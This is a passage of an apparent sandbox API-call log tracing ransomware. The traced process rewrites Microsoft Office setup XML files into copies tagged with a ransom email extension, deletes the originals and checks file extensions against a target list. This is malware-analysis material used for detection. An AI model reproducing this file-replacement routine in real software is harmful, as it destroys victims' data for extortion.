dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.292] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0040.293] GetLastError () returned 0x0 [0040.293] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x32b, lpOverlapped=0x0) returned 1 [0040.296] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x330, lpOverlapped=0x0) returned 1 [0040.297] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.297] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.297] SetEndOfFile (hFile=0x1f0) returned 1 [0040.297] CloseHandle (hObject=0x1f0) returned 1 [0040.297] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.297] SetEndOfFile (hFile=0x1d8) returned 1 [0040.298] CloseHandle (hObject=0x1d8) returned 1 [0040.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.299] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0040.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0040.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0040.299] lstrlenW (lpString=".doc") returned 4 [0040.299] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.299] lstrlenW (lpString=".docx") returned 5 [0040.299] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0040.299] lstrlenW (lpString=".pdf") returned 4 [0040.299] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.299] lstrlenW (lpString=".xls") returned 4 [0040.299] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.299] lstrlenW (lpString=".xlsx") returned 5 [0040.299] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0040.299] lstrlenW (lpString=".ppt") returned 4 [0040.299] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0040.299] lstrlenW (lpString=".zip") returned 4 [0040.299] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.299] lstrlenW (lpString=".rar") returned 4 [0040.299] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.299] lstrlenW (lpString=".bz2") returned 4 [0040.299] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.299] lstrlenW (lpString=".7z") returned 3 [0040.299] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0040.299] lstrlenW (lpString=".dbf") returned 4 [0040.299] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0040.300] lstrlenW (lpString=".1cd") returned 4 [0040.300] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0040.300] lstrlenW (lpString=".jpg") returned 4 [0040.300] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0040.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0040.300] lstrlenW (lpString=".doc") returned 4 [0040.300] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.300] lstrlenW (lpString=".docx") returned 5 [0040.300] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0040.300] lstrlenW (lpString=".pdf") returned 4 [0040.300] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.300] lstrlenW (lpString=".xls") returned 4 [0040.300] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.300] lstrlenW (lpString=".xlsx") returned 5 [0040.300] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0040.300] lstrlenW (lpString=".ppt") returned 4 [0040.300] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0040.300] lstrlenW (lpString=".zip") returned 4 [0040.300] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.300] lstrlenW (lpString=".rar") returned 4 [0040.300] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.300] lstrlenW (lpString=".bz2") returned 4 [0040.300] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.300] lstrlenW (lpString=".7z") returned 3 [0040.300] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0040.300] lstrlenW (lpString=".dbf") returned 4 [0040.300] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0040.301] lstrlenW (lpString=".1cd") returned 4 [0040.301] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0040.301] lstrlenW (lpString=".jpg") returned 4 [0040.301] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.301] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.301] lstrlenW (lpString="SETUP.XML") returned 9 [0040.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0040.301] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=5884) returned 1 [0040.301] CloseHandle (hObject=0x1d8) returned 1 [0040.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0040.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0040.301] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.302] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0040.303] GetLastError () returned 0x0 [0040.303] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x16fc, lpOverlapped=0x0) returned 1 [0040.305] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1700, lpOverlapped=0x0) returned 1 [0040.318] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.318] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.318] SetEndOfFile (hFile=0x1f0) returned 1 [0040.319] CloseHandle (hObject=0x1f0) returned 1 [0040.319] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.319] SetEndOfFile (hFile=0x1d8) returned 1 [0040.320] CloseHandle (hObject=0x1d8) returned 1 [0040.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.321] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0040.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0040.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0040.321] lstrlenW (lpString=".doc") returned 4 [0040.321] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.321] lstrlenW (lpString=".docx") returned 5 [0040.321] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.321] lstrlenW (lpString=".pdf") returned 4 [0040.321] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.321] lstrlenW (lpString=".xls") returned 4 [0040.321] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.321] lstrlenW (lpString=".xlsx") returned 5 [0040.321] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.321] lstrlenW (lpString=".ppt") returned 4 [0040.321] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0040.321] lstrlenW (lpString=".zip") returned 4 [0040.321] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.321] lstrlenW (lpString=".rar") returned 4 [0040.321] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.321] lstrlenW (lpString=".bz2") returned 4 [0040.321] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.321] lstrlenW (lpString=".7z") returned 3 [0040.321] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0040.322] lstrlenW (lpString=".dbf") returned 4 [0040.322] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0040.322] lstrlenW (lpString=".1cd") returned 4 [0040.322] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0040.322] lstrlenW (lpString=".jpg") returned 4 [0040.322] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0040.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0040.322] lstrlenW (lpString=".doc") returned 4 [0040.322] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.322] lstrlenW (lpString=".docx") returned 5 [0040.322] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.322] lstrlenW (lpString=".pdf") returned 4 [0040.322] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.322] lstrlenW (lpString=".xls") returned 4 [0040.322] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.322] lstrlenW (lpString=".xlsx") returned 5 [0040.322] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.322] lstrlenW (lpString=".ppt") returned 4 [0040.322] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0040.322] lstrlenW (lpString=".zip") returned 4 [0040.322] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.322] lstrlenW (lpString=".rar") returned 4 [0040.322] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.322] lstrlenW (lpString=".bz2") returned 4 [0040.322] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.322] lstrlenW (lpString=".7z") returned 3 [0040.322] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0040.323] lstrlenW (lpString=".dbf") returned 4 [0040.323] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0040.323] lstrlenW (lpString=".1cd") returned 4 [0040.323] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0040.323] lstrlenW (lpString=".jpg") returned 4 [0040.323] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.323] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.323] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0040.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0040.328] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=16852) returned 1 [0040.328] CloseHandle (hObject=0x1d8) returned 1 [0040.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0040.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0040.328] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.328] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0040.328] GetLastError () returned 0x0 [0040.329] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x41d4, lpOverlapped=0x0) returned 1 [0040.330] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0040.331] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.331] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0040.331] SetEndOfFile (hFile=0x1f0) returned 1 [0040.331] CloseHandle (hObject=0x1f0) returned 1 [0040.332] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.332] SetEndOfFile (hFile=0x1d8) returned 1 [0040.333] CloseHandle (hObject=0x1d8) returned 1 [0040.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.333] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0040.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0040.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0040.333] lstrlenW (lpString=".doc") returned 4 [0040.334] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.334] lstrlenW (lpString=".docx") returned 5 [0040.334] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0040.334] lstrlenW (lpString=".pdf") returned 4 [0040.334] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.334] lstrlenW (lpString=".xls") returned 4 [0040.334] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.334] lstrlenW (lpString=".xlsx") returned 5 [0040.334] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0040.334] lstrlenW (lpString=".ppt") returned 4 [0040.334] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0040.334] lstrlenW (lpString=".zip") returned 4 [0040.334] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.334] lstrlenW (lpString=".rar") returned 4 [0040.334] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.334] lstrlenW (lpString=".bz2") returned 4 [0040.334] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.334] lstrlenW (lpString=".7z") returned 3 [0040.334] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0040.334] lstrlenW (lpString=".dbf") returned 4 [0040.334] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0040.334] lstrlenW (lpString=".1cd") returned 4 [0040.334] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0040.334] lstrlenW (lpString=".jpg") returned 4 [0040.334] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0040.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0040.334] lstrlenW (lpString=".doc") returned 4 [0040.334] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.335] lstrlenW (lpString=".docx") returned 5 [0040.335] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0040.335] lstrlenW (lpString=".pdf") returned 4 [0040.335] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.335] lstrlenW (lpString=".xls") returned 4 [0040.335] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.335] lstrlenW (lpString=".xlsx") returned 5 [0040.335] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0040.335] lstrlenW (lpString=".ppt") returned 4 [0040.335] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0040.335] lstrlenW (lpString=".zip") returned 4 [0040.335] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.335] lstrlenW (lpString=".rar") returned 4 [0040.335] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.335] lstrlenW (lpString=".bz2") returned 4 [0040.335] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.335] lstrlenW (lpString=".7z") returned 3 [0040.335] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0040.335] lstrlenW (lpString=".dbf") returned 4 [0040.335] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0040.335] lstrlenW (lpString=".1cd") returned 4 [0040.335] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0040.335] lstrlenW (lpString=".jpg") returned 4 [0040.335] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.335] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.336] lstrlenW (lpString="SETUP.XML") returned 9 [0040.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 